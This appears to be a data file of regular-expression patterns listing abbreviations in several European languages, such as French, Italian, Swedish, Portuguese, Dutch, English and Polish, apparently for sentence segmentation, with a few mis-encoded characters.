\balc\. + \s + + + \b[Aa]pprox\. + \s + + + \b[Aa]pr\. + \s + + + \b[Aa]rr\. + \s + + + \bart\. + \s + + + \b[Aa]ssoc\. + \s + + + \batt\. + \s + + + \b[Aa]v\. + \s + + + \b[Aa]vr\. + \s + + + \b[Bb]is\. + \s + + + \b[Bb]r\. + \s + + + \b[Bb]ull\. + \s + + + \b[Cc]\.-à-d\. + \s + + + \b[Cc]f\. + \s + + + \bcfr\. + \s + + + \bCh\. + \s + + + \b[Cc]hap\. + \s + + + \b[Cc]ie\. + \s + + + \b[Cc]irc\. + \s + + + \bcit\. + \s + + + \b[Cc]oeff\. + \s + + + \b[Cc]oll\. + \s + + + \b[Cc]om\. + \s + + + \bComm\. + \s + + + \b[Cc]omp\. + \s + + + \b[Cc]onc\. + \s + + + \b[Dd]ep\. + \s + + + \b[Dd]iam\. + \s + + + \b[Dd]ir\. + \s + + + \b[Dd]iv\. + \s + + + \bdoc\. + \s + + + \bdocs\. + \s + + + \b[Dd]r\. + \s + + + \b[Dd]éc\. + \s + + + \b[Dd]écr\. + \s + + + \b[Dd]ép\. + \s + + + \b[Ee]d\. + \s + + + \b[Ee]lectr\. + \s + + + \b[Ee]nv\. + \s + + + \best\. + \s + + + \b[Ee]x\. + \s + + + \b[Ee]xc\. + \s + + + \b[Ee]xp\. + \s + + + \b[Ee]xt\. + \s + + + \b[Ff]ig\. + \s + + + \bFr\. + \s + + + \bH\.T\. + \s + + + \bincl\. + \s + + + \bInd\. + \s + + + \b[Ii]ng\. + \s + + + \b[Ii]nst\. + \s + + + \b[Ii]nt\. + \s + + + \bit\. + \s + + + \b[Jj]\.O\. + \s + + + \b[Jj]an\. + \s + + + \b[Jj]uil\. + \s + + + \b[Ll]ic\. + \s + + + \bM\. + \s + + + \b[Mm]aj\. + \s + + + \b[Mm]ax\. + \s + + + \b[Mm]lle\. + \s + + + \b[Mm]lles\. + \s + + + \bMM\. + \s + + + \b[Mm]me\. + \s + + + \b[Mm]mes\. + \s + + + \bms\. + \s + + + \b[Nn]eg\. + \s + + + \b[Nn]o\. + \s + + + \b[Nn]os\. + \s + + + \b[Nn]ov\. + \s + + + \b[Nn]°\. + \s + + + \b[Nn]°s\. + \s + + + \b[Oo]\.J\. + \s + + + \bObj\. + \s + + + \b[Oo]ct\. + \s + + + \bOff\. + \s + + + \b[Oo]rig\. + \s + + + \b[Pp]-ê\. + \s + + + \b[Pp]ar\. + \s + + + \b[Pp]ara\. + \s + + + \b[Pp]athol\. + \s + + + \b[Pp]hys\. + \s + + + \b[Pp]hysiol\. + \s + + + \b[Pp]os\. + \s + + + \b[Pp]p\. + \s + + + \b[Pp]rep\. + \s + + + \b[Pp]rof\. + \s + + + \b[Pp]réc\. + \s + + + \bpt\. + \s + + + \bpts\. + \s + + + \b[Pp]ubl\. + \s + + + \b[Qq]qch\. + \s + + + \b[Qq]qf\. + \s + + + \b[Qq]qn\. + \s + + + \b[Qq]ual\. + \s + + + \b[Rr]ap\. + \s + + + \b[Rr]ec\. + \s + + + \b[Rr]ecomm\. + \s + + + \b[Rr]ef\. + \s + + + \breg\. + \s + + + \b[Rr]es\. + \s + + + \b[Rr]esp\. + \s + + + \bress\. + \s + + + \b[Rr]ev\. + \s + + + \b[Rr]f\. + \s + + + \b[Rr]ègl\. + \s + + + \bRép\. + \s + + + \brév\. + \s + + + \bS\.A\. + \s + + + \bS\.A\.S\. + \s + + + \bsem\. + \s + + + \b[Ss]ept\. + \s + + + \bsid\. + \s + + + \bS\.N\.C\. + \s + + + \b[Ss]oc\. + \s + + + \bspp\. + \s + + + \bstbld\. + \s + + + \bsub\. + \s + + + \b[Ss]uppl\. + \s + + + \b[Tt]el\. + \s + + + \b[Tt]emp\. + \s + + + \b[Tt]er\. + \s + + + \b[Tt]él\. + \s + + + \b[Uu]niv\. + \s + + + \b[Vv]ar\. + \s + + + + + \b[Aa]bst\. + \s + + + \b[Aa]cc\. + \s + + + \b[Aa]dj\.au m\. + \s + + + \b[Aa]l\. + \s + + + \ball'art\. + \s + + + \b[Aa]nc\.rel\. + \s + + + \b[Aa]nn\. + \s + + + \b[Aa]rtt\. + \s + + + \b[Bb]oll\. + \s + + + \b[Bb]rev\. + \s + + + \b[Cc]\.c\. + \s + + + \b[Cc]\.c\.c\. + \s + + + \b[Cc]\.d\.R\. + \s + + + \b[Cc]\.l\. + \s + + + \b[Cc]\.m\.d\. + \s + + + \bcap\. + \s + + + \b[Cc]ct\. + \s + + + \bcf\. + \s + + + \b[Cc]fr\. + \s + + + \b[Cc]hev\.i\. + \s + + + \b[Cc]irc\. + \s + + + \bcit\. + \s + + + \bCO\. + \s + + + \b[Cc]od\.civ\. + \s + + + \b[Cc]onc\. + \s + + + \b[Cc]ons\. + \s + + + \b[Cc]onsid\. + \s + + + \b[Cc]onv\. + \s + + + \bcpv\. + \s + + + \b[Cc]st\. + \s + + + \b[Dd]\.l\. + \s + + + \b[Dd]ec\. + \s + + + \bdef\. + \s + + + \bdell'art\. + \s + + + \b[Dd]est\. + \s + + + \b[Dd]iff\.restr\. + \s + + + \b[Dd]ir\.gén\. + \s + + + \b[Dd]isp\. + \s + + + \b[Dd]isp\.fin\. + \s + + + \b[Dd]isp\.trans\. + \s + + + \bDiv\. + \s + + + \bDOC\. + \s + + + \bDr\. + \s + + + \b[Ee]d\. + \s + + + \b[Ee]rr\. + \s + + + \b[Ff]\.f\. + \s + + + \bFed\. + \s + + + \b[Ff]ig\. + \s + + + \b[Gg]\.c\. + \s + + + \bGen\. + \s + + + \b[Ii]ng\. + \s + + + \b[Ii]ns\. + \s + + + \b[Ii]nt\. + \s + + + \b[Ll]'art\. + \s + + + \b[Ll]\.à\.f\. + \s + + + \b[Ll]et\. + \s + + + \b[Ll]ib\. + \s + + + \blug\. + \s + + + \blungh\. + \s + + + \b[Mm]\.d\. + \s + + + \b[Mm]\.n\. + \s + + + \b[Mm]\.p\.m\. + \s + + + \b[Mm]\.s\. + \s + + + \b[Mm]asc\. + \s + + + \bmod\. + \s + + + \b[Nn]\.c\. + \s + + + \b[Nn]\.c\.a\. + \s + + + \b[Nn]\.d\. + \s + + + \b[Nn]\.d\.n\.c\.a\. + \s + + + \b[Nn]\.i\. + \s + + + \b[Nn]\.i\.a\. + \s + + + \b[Nn]\.n\. + \s + + + \b[Nn]\.r\.s\. + \s + + + \b[Nn]n\. + \s + + + \b[Nn]o\. + \s + + + \b[Oo]\.c\. + \s + + + \b[Oo]\.s\. + \s + + + \b[Oo]bl\. + \s + + + \b[Oo]n\. + \s + + + \b[Pp]\.a\. + \s + + + \b[Pp]\.c\. + \s + + + \b[Pp]\.c\.c\. + \s + + + \b[Pp]\.cont\. + \s + + + \b[Pp]\.e\. + \s + + + \b[Pp]\.f\. + \s + + + \b[Pp]\.i\. + \s + + + \b[Pp]\.m\. + \s + + + \b[Pp]\.o\. + \s + + + \b[Pp]\.o\.p\. + \s + + + \b[Pp]\.p\. + \s + + + \b[Pp]\.p\.a\. + \s + + + \b[Pp]\.s\. + \s + + + \b[Pp]\.v\.t\. + \s + + + \bP[Aa][Gg]\. + \s + + + \b[Pp]agg\. + \s + + + \bP[Aa][Rr]\. + \s + + + \bPh\. + \s + + + \b[Pp]l\. + \s + + + \b[Pp]lur\. + \s + + + \b[Pp]p\. + \s + + + \b[Pp]roc\. + \s + + + \b[Pp]rof\. + \s + + + \b[Pp]rov\. + \s + + + \b[Rr]\.c\. + \s + + + \b[Rr]\.p\. + \s + + + \b[Rr]acc\. + \s + + + \b[Rr]ecc\. + \s + + + \b[Rr]eg\. + \s + + + \bRev\. + \s + + + \brif\. + \s + + + \b[Ss]\.a\. + \s + + + \b[Ss]\.a\.i\. + \s + + + \b[Ss]\.c\. + \s + + + \b[Ss]\.d\. + \s + + + \b[Ss]\.i\. + \s + + + \b[Ss]\.l\.n\.d\. + \s + + + \b[Ss]\.l\.n\.d\.n\.t\. + \s + + + \b[Ss]\.n\. + \s + + + \b[Ss]\.n\.c\. + \s + + + \b[Ss]\.o\. + \s + + + \b[Ss]\.p\. + \s + + + \b[Ss]\.r\.i\. + \s + + + \bSA\. + \s + + + \bS[Ee][Cc]\. + \s + + + \bsett\. + \s + + + \bSez\. + \s + + + \bS[Ii][Gg]\. + \s + + + \b[Ss]igg\. + \s + + + \b[Ss]ing\. + \s + + + \b[Ss]p\. + \s + + + \b[Ss]r\. + \s + + + \b[Ss]ra\. + \s + + + \bSta\. + \s + + + \b[Tt]\.c\. + \s + + + \b[Tt]\.e\.c\. + \s + + + \b[Tt]el\. + \s + + + \b[Tt]it\. + \s + + + \b[Tt]it\.fin\. + \s + + + \b[Tt]it\.marg\. + \s + + + \b[Tt]rad\. + \s + + + \b[Uu]\.c\. + \s + + + \b[Uu]\.e\.m\. + \s + + + \b[Uu]niv\. + \s + + + \b[Vv]\.o\. + \s + + + \b[Vv]\.p\. + \s + + + \b[Vv]\.p\.m\. + \s + + + \b[Vv]al\.p\. + \s + + + + + \b[Aa]dr\. + \s + + + \b[Aa]ng\. + \s + + + \b[Aa]nk\. + \s + + + \b[Aa]vd\. + \s + + + \b[Aa]vg\. + \s + + + \b[Aa]vs\. + \s + + + \b[Bb]etr\. + \s + + + \b[Bb]il\. + \s + + + \b[Bb]itr\. + \s + + + \b[Bb]l\.a\. + \s + + + \b[Bb]ull\. + \s + + + \bc\. + \s + + + \b[Cc]iv\.ek\. + \s + + + \b[Cc]iv\.ing\. + \s + + + \bCo\. + \s + + + \b[Dd]\.v\.s\. + \s + + + \b[Dd]ir\. + \s + + + \b[Dd]iv\. + \s + + + \b[Dd]oc\. + \s + + + \b[Dd]r\. + \s + + + \b[Dd]vs\. + \s + + + \b[Ee]\.d\. + \s + + + \b[Ee]\.dyl\. + \s + + + \bel\. + \s + + + \b[Ee]nl\. + \s + + + \betc\. + \s + + + \b[Ee]v\. + \s + + + \b[Ee]x\. + \s + + + \b[Ee]xkl\. + \s + + + \b[Ee]xp\. + \s + + + \b[Ee]xv\. + \s + + + \b[Ff]\.d\. + \s + + + \b[Ff]\.n\. + \s + + + \b[Ff]\.v\.b\. + \s + + + \b[Ff]\.ö\. + \s + + + \bff\. + \s + + + \b[Ff]orts\. + \s + + + \b[Ff]r\. + \s + + + \b[Ff]r\.o\.m\. + \s + + + \b[Ff]ölj\. + \s + + + \b[Ff]öreg\. + \s + + + \b[Gg]m\. + \s + + + \b[Hh]r\. + \s + + + \b[Ii] st\.f\. + \s + + + \b[Ii]bl\. + \s + + + \b[Ii]nkl\. + \s + + + \b[Kk]l\. + \s + + + \b[Kk]r\. + \s + + + \blev\. + \s + + + \b[Mm]\.a\.o\. + \s + + + \b[Mm]\.fl\. + \s + + + \b[Mm]\.h\.t\. + \s + + + \bm\.m\. + \s + + + \b[Mm]ag\. + \s + + + \b[Mm]ax\. + \s + + + \b[Mm]in\. + \s + + + \b[Nn]uv\. + \s + + + \bo\.d\. + \s + + + \bo\.dyl\. + \s + + + \bO\.s\.a\. + \s + + + \bo\.s\.v\. + \s + + + \b[Oo]bs\. + \s + + + \b[Oo]rdf\. + \s + + + \bosv\. + \s + + + \b[Pp]\.g\.a\. + \s + + + \bP\.S\. + \s + + + \b[Pp]g\. + \s + + + \bpl\. + \s + + + \bplur\. + \s + + + \b[Pp]rof\. + \s + + + \bs\.a\.s\. + \s + + + \bs\.k\. + \s + + + \b[Ss]ek\. + \s + + + \b[Ss]ekr\. + \s + + + \b[Ss]id\. + \s + + + \b[Ss]ign\. + \s + + + \b[Ss]pec\. + \s + + + \b[Ss]t\. + \s + + + \b[Tt]\.ex\. + \s + + + \b[Tt]\.o\.m\. + \s + + + \b[Tt]\.v\. + \s + + + \btekn\. + \s + + + \b[Tt]el\. + \s + + + \b[Tt]f\. + \s + + + \b[Tt]im\. + \s + + + \btr\. + \s + + + \bu\.p\.a\. + \s + + + \b[Uu]ng\. + \s + + + \b[Uu]ppl\. + \s + + + \bv\. + \s + + + \b[Vv]ol\. + \s + + + \bäv\. + \s + + + \b[Ã…Ã¥]rg\. + \s + + + \bö\. + \s + + + + + \bAdd\. + \s + + + \badic\. + \s + + + \b[Aa]l\. + \s + + + \bAp\. + \s + + + \baprox\. + \s + + + \bav\. + \s + + + \b[Bb]ol\. + \s + + + \b[Cc]ap\. + \s + + + \b[Cc]f\. + \s + + + \b[Cc]fr\. + \s + + + \bC[Oo][Ll]\. + \s + + + \bColect\. + \s + + + \bconc\. + \s + + + \b[Cc]rf\. + \s + + + \bDepº\. + \s + + + \bDepºs\. + \s + + + \bDir\. + \s + + + \bdisp\. + \s + + + \bdocs\. + \s + + + \bDr\. + \s + + + \bDrs\. + \s + + + \bex\. + \s + + + \b[Ee]xca\. + \s + + + \bext\. + \s + + + \bExª\. + \s + + + \b[Jj]\.O\. + \s + + + \bn\.os\. + \s + + + \bN[Oo]\. + \s + + + \bnos\. + \s + + + \b[Nn]°\. + \s + + + \bn°s\. + \s + + + \b[Pp]\. ex\. + \s + + + \bPAR\. + \s + + + \bpp\. + \s + + + \b[Pp]roc\. + \s + + + \bpág\. + \s + + + \bpágs\. + \s + + + \bref\. + \s + + + \bReg\. + \s + + + \bRev\. + \s + + + \bSoc\. + \s + + + \bS[Rr]\. + \s + + + \b[Ss]ra\. + \s + + + \b[Ss]rs\. + \s + + + \bsrª\. + \s + + + \bvar\. + \s + + + + + \b[Aa]\.d\. + \s + + + \b[Aa]\.d\.\. + \s + + + \b[Aa]\.h\.w\. + \s + + + \b[Aa]dm\. + \s + + + \b[Aa]fb\. + \s + + + \b[Aa]fk\. + \s + + + \b[Aa]fl\. + \s + + + \b[Aa]fz\. + \s + + + \b[Aa]l\. + \s + + + \b[Aa]ld\. + \s + + + \b[Aa]lg\. + \s + + + \b[Aa]lt\. + \s + + + \b[Aa]mbt\. + \s + + + \bAmend\. + \s + + + \b[Aa]mp\. + \s + + + \b[Aa]pp\. + \s + + + \b[Aa]pr\. + \s + + + \b[Aa]rr\. + \s + + + \b[Aa]ss\. + \s + + + \b[Aa]ud\.-mil\. + \s + + + \b[Aa]ug\. + \s + + + \b[Bb]\.v\. + \s + + + \b[Bb]ar\. + \s + + + \b[Bb]at\. + \s + + + \b[Bb]d\. + \s + + + \b[Bb]eh\. + \s + + + \b[Bb]ep\. + \s + + + \b[Bb]esch\. + \s + + + \b[Bb]et\. + \s + + + \b[Bb]etr\. + \s + + + \b[Bb]ijl\. + \s + + + \b[Bb]ijv\. + \s + + + \b[Bb]ijz\. + \s + + + \b[Bb]l\. + \s + + + \b[Bb]ladz\. + \s + + + \b[Bb]lz\. + \s + + + \b[Bb]lzz\. + \s + + + \b[Bb]r\. + \s + + + \b[Bb]rig\. + \s + + + \bBull\. + \s + + + \b[Bb]ur\. + \s + + + \b[Bb]urg\. + \s + + + \b[Bb]v\. + \s + + + \b[Cc]a\. + \s + + + \b[Cc]ap\. + \s + + + \b[Cc]at\. + \s + + + \b[Cc]at\.nr\. + \s + + + \b[Cc]entr\. + \s + + + \b[Cc]ert\. + \s + + + \b[Cc]f\. + \s + + + \b[Cc]hr\. + \s + + + \bCIC\. + \s + + + \bCie\. + \s + + + \b[Cc]od\. + \s + + + \b[Cc]odd\. + \s + + + \bCom\. + \s + + + \b[Cc]omm\. + \s + + + \b[Cc]omp\. + \s + + + \b[Cc]onf\. + \s + + + \b[Cc]orr\. + \s + + + \b[Cc]os\. + \s + + + \b[Cc]oöp\. + \s + + + \b[Cc]resc\. + \s + + + \b[Dd]\.d\. + \s + + + \b[Dd]\.i\. + \s + + + \b[Dd]\.w\.z\. + \s + + + \b[Dd]ag\. + \s + + + \b[Dd]d\. + \s + + + \b[Dd]ec\. + \s + + + \bDEF\. + \s + + + \b[Dd]ep\. + \s + + + \b[Dd]erg\. + \s + + + \b[Dd]gl\. + \s + + + \b[Dd]hr\. + \s + + + \b[Dd]i\. + \s + + + \b[Dd]im\. + \s + + + \b[Dd]ir\. + \s + + + \b[Dd]ir\.-gen\. + \s + + + \b[Dd]ir\.-geneesh\. + \s + + + \b[Dd]iscr\. + \s + + + \b[Dd]istr\. + \s + + + \b[Dd]l\. + \s + + + \b[Dd]o\. + \s + + + \b[Dd]oopsgez\. + \s + + + \b[Dd]r\. + \s + + + \b[Dd]ra\. + \s + + + \b[Dd]rs\. + \s + + + \b[Dd]s\. + \s + + + \bdst\. + \s + + + \b[Ee]d\. + \s + + + \b[Ee]erw\. + \s + + + \b[Ee]m\. + \s + + + \b[Ee]nz\. + \s + + + \b[Ee]t\. + \s + + + \b[Ee]v\. + \s + + + \b[Ee]vt\. + \s + + + \b[Ee]x\. + \s + + + \b[Ee]xc\. + \s + + + \b[Ee]xcl\. + \s + + + \bext\. + \s + + + \b[Ff]a\. + \s + + + \b[Ff]ac\. + \s + + + \b[Ff]am\. + \s + + + \b[Ff]ebr\. + \s + + + \b[Ff]ig\. + \s + + + \bFl\. + \s + + + \b[Ff]r\. + \s + + + \b[Gg]eb\. + \s + + + \b[Gg]ebr\. + \s + + + \b[Gg]el\. + \s + + + \b[Gg]em\. + \s + + + \b[Gg]en\. + \s + + + \b[Gg]estr\. + \s + + + \b[Gg]ez\. + \s + + + \b[Gg]eïll\. + \s + + + \b[Gg]ld\. + \s + + + \b[Hh]\.h\. + \s + + + \b[Hh]\.i\. + \s + + + \b[Hh]\.k\.h\. + \s + + + \b[Hh]\.k\.m\. + \s + + + \b[Hh]\.m\. + \s + + + \b[Hh]a\. + \s + + + \bHepp\. + \s + + + \b[Hh]erz\. + \s + + + \b[Hh]fl\. + \s + + + \b[Hh]r\. + \s + + + \b[Hh]s\. + \s + + + \b[Hh]ss\. + \s + + + \b[Hh]st\. + \s + + + \b[Ii]\.b\.v\. + \s + + + \b[Ii]\.c\. + \s + + + \b[Ii]\.e\. + \s + + + \b[Ii]\.e\.w\. + \s + + + \b[Ii]\.h\.b\. + \s + + + \b[Ii]\.p\.v\. + \s + + + \b[Ii]\.pl\.v\. + \s + + + \b[Ii]\.s\.m\. + \s + + + \b[Ii]\.v\.m\. + \s + + + \b[Ii]\.z\. + \s + + + \b[Ii]bid\. + \s + + + \b[Ii]d\. + \s + + + \b[Ii]i\. + \s + + + \b[Ii]ii\. + \s + + + \bin\. + \s + + + \bIn\.co\.ge\. + \s + + + \b[Ii]ncl\. + \s + + + \b[Ii]ng\. + \s + + + \b[Ii]nh\. + \s + + + \b[Ii]nl\. + \s + + + \b[Ii]nz\. + \s + + + \b[Ii]r\. + \s + + + \b[Ii]v\. + \s + + + \b[Ii]x\. + \s + + + \b[Jj]an\. + \s + + + \b[Jj]g\. + \s + + + \b[Jj]hr\. + \s + + + \b[Jj]kvr\. + \s + + + \b[Jj]l\. + \s + + + \b[Jj]r\. + \s + + + \bJurispr\. + \s + + + \b[Kk]\.v\. + \s + + + \b[Kk]ar\. + \s + + + \b[Kk]ol\. + \s + + + \b[Kk]on\. + \s + + + \b[Kk]r\. + \s + + + \b[Kk]t\. + \s + + + \b[Ll]ic\. + \s + + + \b[Ll]og\. + \s + + + \b[Ll]t\. + \s + + + \b[Mm]\.a\.w\. + \s + + + \b[Mm]\.b\.t\. + \s + + + \b[Mm]\.b\.v\. + \s + + + \b[Mm]\.d\.v\. + \s + + + \b[Mm]\.g\.v\. + \s + + + \b[Mm]\.h\.o\. + \s + + + \b[Mm]\.i\. + \s + + + \b[Mm]\.i\.v\. + \s + + + \b[Mm]\.m\. + \s + + + \b[Mm]\.m\.v\. + \s + + + \b[Mm]\.n\. + \s + + + \b[Mm]ax\. + \s + + + \b[Mm]ej\. + \s + + + \b[Mm]evr\. + \s + + + \b[Mm]gr\. + \s + + + \b[Mm]ij\. + \s + + + \b[Mm]ld\. + \s + + + \b[Mm]ln\. + \s + + + \b[Mm]r\. + \s + + + \b[Mm]rs\. + \s + + + \b[Mm]rt\. + \s + + + \b[Mm]s\. + \s + + + \b[Nn]\.a\.v\. + \s + + + \b[Nn]\.b\. + \s + + + \b[Nn]\.chr\. + \s + + + \b[Nn]\.l\. + \s + + + \b[Nn]dl\. + \s + + + \b[Nn]ed\. + \s + + + \b[Nn]l\. + \s + + + \bN[Oo]\. + \s + + + \b[Nn]ov\. + \s + + + \b[Nn]R\. + \s + + + \b[Nn]rs\. + \s + + + \b[Oo]\.a\. + \s + + + \b[Oo]\.i\. + \s + + + \b[Oo]\.l\.v\. + \s + + + \b[Oo]kt\. + \s + + + \b[Oo]ng\. + \s + + + \b[Oo]p\.cit\. + \s + + + \b[Oo]pm\. + \s + + + \bor\. + \s + + + \boverw\. + \s + + + \b[Pp]\.o\. + \s + + + \b[Pp]\.s\. + \s + + + \b[Pp]ag\. + \s + + + \b[Pp]ar\. + \s + + + \bP[Bb]\. + \s + + + \b[Pp]ct\. + \s + + + \b[Pp]l\.m\. + \s + + + \b[Pp]lv\. + \s + + + \b[Pp]rof\. + \s + + + \b[Pp]s\. + \s + + + \b[Pp]seud\. + \s + + + \b[Rr]\.-k\. + \s + + + \bRe\. + \s + + + \b[Rr]ed\. + \s + + + \b[Rr]ef\. + \s + + + \b[Rr]esp\. + \s + + + \bSci\. + \s + + + \b[Ss]ept\. + \s + + + \b[Ss]in\. + \s + + + \b[Ss]l\.k\. + \s + + + \bspp\. + \s + + + \b[Ss]tr\. + \s + + + \b[Ss]ubs\. + \s + + + \b[Ss]uppl\. + \s + + + \b[Tt]\.a\.v\. + \s + + + \b[Tt]\.b\.v\. + \s + + + \b[Tt]\.e\.m\. + \s + + + \b[Tt]\.g\.v\. + \s + + + \b[Tt]\.l\.v\. + \s + + + \b[Tt]\.n\.v\. + \s + + + \b[Tt]\.o\. + \s + + + \b[Tt]\.o\.v\. + \s + + + \b[Tt]\.w\. + \s + + + \b[Tt]\.w\.v\. + \s + + + \b[Tt]\.z\. + \s + + + \b[Tt]\.z\.t\. + \s + + + \b[Tt]\.z\.v\. + \s + + + \b[Tt]el\. + \s + + + \b[Tt]el\.nr\. + \s + + + \b[Tt]emp\. + \s + + + \b[Tt]en\. + \s + + + \bter\. + \s + + + \b[Tt]g\. + \s + + + \b[Tt]s\. + \s + + + \b[Uu]itg\. + \s + + + \b[Uu]itg\.mij\. + \s + + + \bUitv\. + \s + + + \b[Vv]\.a\. + \s + + + \b[Vv]\.chr\. + \s + + + \b[Vv]\.d\. + \s + + + \b[Vv]\.h\. + \s + + + \b[Vv]\.l\.n\.r\. + \s + + + \b[Vv]\.r\.n\.l\. + \s + + + \b[Vv]\.w\.b\. + \s + + + \b[Vv]\.z\.v\. + \s + + + \b[Vv]/h\. + \s + + + \bvar\. + \s + + + \b[Vv]b\. + \s + + + \b[Vv]bb\. + \s + + + \b[Vv]enn\. + \s + + + \b[Vv]er\. + \s + + + \b[Vv]erg\. + \s + + + \b[Vv]erm\. + \s + + + \b[Vv]ert\. + \s + + + \b[Vv]gg\. + \s + + + \b[Vv]gl\. + \s + + + \b[Vv]lg\. + \s + + + \b[Vv]lgg\. + \s + + + \bvo\. + \s + + + \b[Vv]r\. + \s + + + \b[Vv]rnl\. + \s + + + \b[Vv]s\. + \s + + + \b[Ww]\.o\. + \s + + + \b[Ww]db\. + \s + + + \b[Ww]ed\. + \s + + + \b[Ww]eled\. + \s + + + \b[Ww]eled\.Geb\. + \s + + + \b[Ww]eled\.Zgl\. + \s + + + \b[Ww]eledelgeb\. + \s + + + \b[Ww]eledelgel\. + \s + + + \b[Ww]eledelgestr\. + \s + + + \b[Ww]eleerw\. + \s + + + \b[Ww]etb\. + \s + + + \b[Ww]o\. + \s + + + \b[Zz]\.ed\. + \s + + + \b[Zz]\.g\.a\. + \s + + + \b[Zz]\.g\.n\. + \s + + + \b[Zz]\.h\. + \s + + + \b[Zz]\.i\. + \s + + + \b[Zz]\.k\.h\. + \s + + + \b[Zz]\.k\.m\. + \s + + + \b[Zz]\.m\. + \s + + + \b[Zz]\.pl\. + \s + + + \b[Zz]\.v\.a\. + \s + + + \b[Zz]\.w\.a\. + \s + + + \b[Zz]a\. + \s + + + \b[Zz]at\. + \s + + + \b[Zz]g\. + \s + + + \b[Zz]gn\. + \s + + + \b[Zz]itk\. + \s + + + \b[Zz]o\. + \s + + + \b[Zz]og\. + \s + + + \b[Zz]r\. + \s + + + \b[Zz]w\.bew\. + \s + + + + + \b[Aa]bs\. + \s + + + \b[Aa]bstr\. + \s + + + \bAdd\. + \s + + + \bapp\. + \s + + + \bappr\. + \s + + + \b[Aa]pprox\. + \s + + + \b[Aa]pr\. + \s + + + \b[Aa]tm\. + \s + + + \b[Aa]ug\. + \s + + + \b[Bb]ill\. + \s + + + \b[Bb]n\. + \s + + + \b[Bb]ull\. + \s + + + \b[Cc]a\. + \s + + + \b[Cc]alc\. + \s + + + \b[Cc]apt\. + \s + + + \bCdn\. + \s + + + \bcert\. + \s + + + \bC[Ff]\. + \s + + + \bCh\. + \s + + + \b[Cc]hap\. + \s + + + \bcirc\. + \s + + + \b[Cc]oeff\. + \s + + + \b[Cc]ol\. + \s + + + \bCom\. + \s + + + \b[Cc]onc\. + \s + + + \b[Cc]ond\. + \s + + + \bD\. + \s + + + \b[Dd]ec\. + \s + + + \b[Dd]eriv\. + \s + + + \b[Dd]ia\. + \s + + + \b[Dd]iam\. + \s + + + \b[Dd]in\. + \s + + + \b[Dd]ir\. + \s + + + \bDiv\. + \s + + + \bdoc\.com\. + \s + + + \b[Dd]ocs\. + \s + + + \b[Dd]ott\. + \s + + + \b[Dd]r\. + \s + + + \b[Ee]\.g\. + \s + + + \beg\. + \s + + + \b[Ee]sp\. + \s + + + \b[Ee]st\. + \s + + + \bestim\. + \s + + + \b[Ee]xc\. + \s + + + \b[Ee]xcl\. + \s + + + \b[Ff]eb\. + \s + + + \b[Ff]ed\. + \s + + + \bF[Ii][Gg]\. + \s + + + \bFIGS\. + \s + + + \b[Ff]ri\. + \s + + + \b[Gg]ovt\. + \s + + + \b[Ii]\.e\. + \s + + + \bie\. + \s + + + \b[Ii]nc\. + \s + + + \b[Ii]ncl\. + \s + + + \b[Ii]nd\. + \s + + + \b[Ii]ng\. + \s + + + \bINT\. + \s + + + \b[Jj]an\. + \s + + + \bJul\. + \s + + + \bJun\. + \s + + + \bLtd\. + \s + + + \b[Mm]ar\. + \s + + + \b[Mm]ax\. + \s + + + \b[Mm]essrs\. + \s + + + \b[Mm]fg\. + \s + + + \b[Mm]gr\. + \s + + + \b[Mm]ill\. + \s + + + \b[Mm]isc\. + \s + + + \b[Mm]M\. + \s + + + \b[Mm]on\. + \s + + + \bM[Rr]\. + \s + + + \bM[Rr][Ss]\. + \s + + + \b[Mm]s\. + \s + + + \b[Mm]t\. + \s + + + \b[Nn]eg\. + \s + + + \bN[Oo]\. + \s + + + \b[Nn]os\. + \s + + + \b[Nn]ov\. + \s + + + \bN°\. + \s + + + \b[Oo]\.J\. + \s + + + \bObj\. + \s + + + \b[Oo]ct\. + \s + + + \bpag\. + \s + + + \b[Pp]ar\. + \s + + + \b[Pp]ara\. + \s + + + \b[Pp]os\. + \s + + + \b[Pp]p\. + \s + + + \b[Pp]rep\. + \s + + + \b[Pp]rof\. + \s + + + \bPte\. + \s + + + \bPvt\. + \s + + + \b[Rr]ec\. + \s + + + \b[Rr]ef\. + \s + + + \b[Rr]eg\. + \s + + + \b[Rr]es\. + \s + + + \b[Rr]esp\. + \s + + + \b[Rr]ev\. + \s + + + \b[Ss]at\. + \s + + + \b[Ss]ep\. + \s + + + \b[Ss]ept\. + \s + + + \bsp\. + \s + + + \bspp\. + \s + + + \b[Ss]q\. + \s + + + \b[Ss]t\. + \s + + + \b[Ss]ta\. + \s + + + \b[Ss]un\. + \s + + + \b[Ss]uppl\. + \s + + + \b[Tt]el\. + \s + + + \b[Tt]emp\. + \s + + + \b[Tt]hu\. + \s + + + \b[Tt]hur\. + \s + + + \b[Tt]hurs\. + \s + + + \b[Tt]ue\. + \s + + + \b[Tt]ues\. + \s + + + \b[Uu]niv\. + \s + + + \b[Uu]til\. + \s + + + \b[Vv]iz\. + \s + + + \bvs\. + \s + + + \b[Ww]ed\. + \s + + + [Uu]\.[KkSsNn]\. + + \s[abcdefghijklmnopqrstuvwxyz] + + + + + + + \ba\. + \s + + + \ba\.[cC]\. + \s + + + \ba\.i\. + \s + + + \ba\.m\. + \s + + + \ba\.s\.c\. + \s + + + \ba\.t\. + \s + + + \ba\.u\.c\. + \s + + + aa + \s + + + \babl\. + \s + + + abp + \s + + + \babs\. + \s + + + \babsolw\. + \s + + + \bacc\. + \s + + + \baccel\. + \s + + + \b[Aa]d\. + \s + + + \bagd\. + \s + + + \bal\. + \s + + + \bang\. + \s + + + \barch\. + \s + + + \bart\. + \s + + + at + \s + + + atm + \s + + + \bb\.d\. + \s + + + \bb\.m\. + \s + + + \bb\.p\. + \s + + + \bb\.r\. + \s + + + \bb\.u\. + \s + + + \bbelg\. + \s + + + \bblp\. + \s + + + \bbm\. + \s + + + \bbot\. + \s + + + \bbr\. + \s + + + \bbÅ‚\. + \s + + + \bbÅ‚p\. + \s + + + \bcdn\. + \s + + + \bcf\. + \s + + + \bchem\. + \s + + + \bchor\. + \s + + + \bcit\. + \s + + + \bcol\. + \s + + + cos + \s + + + \bcykl\. + \s + + + \bcyt\. + \s + + + \bcz\. + \s + + + \bczyt\. + \s + + + \bdcn\. + \s + + + \bdent\. + \s + + + \bdep\. + \s + + + \bdgn\. + \s + + + \bdiag\. + \s + + + \bdn\. + \s + + + \bdoc\. + \s + + + \bdosÅ‚\. + \s + + + \bdot\. + \s + + + \bds\. + \s + + + \bdypl\. + \s + + + \bdyr\. + \s + + + \bdyw\. + \s + + + \bdz\. + \s + + + \bDz\. U\. + \s + + + \bDz\.U\. + \s + + + \be\.a\. + \s + + + \be\.i\. + \s + + + \beeg\. + \s + + + \begz\. + \s + + + 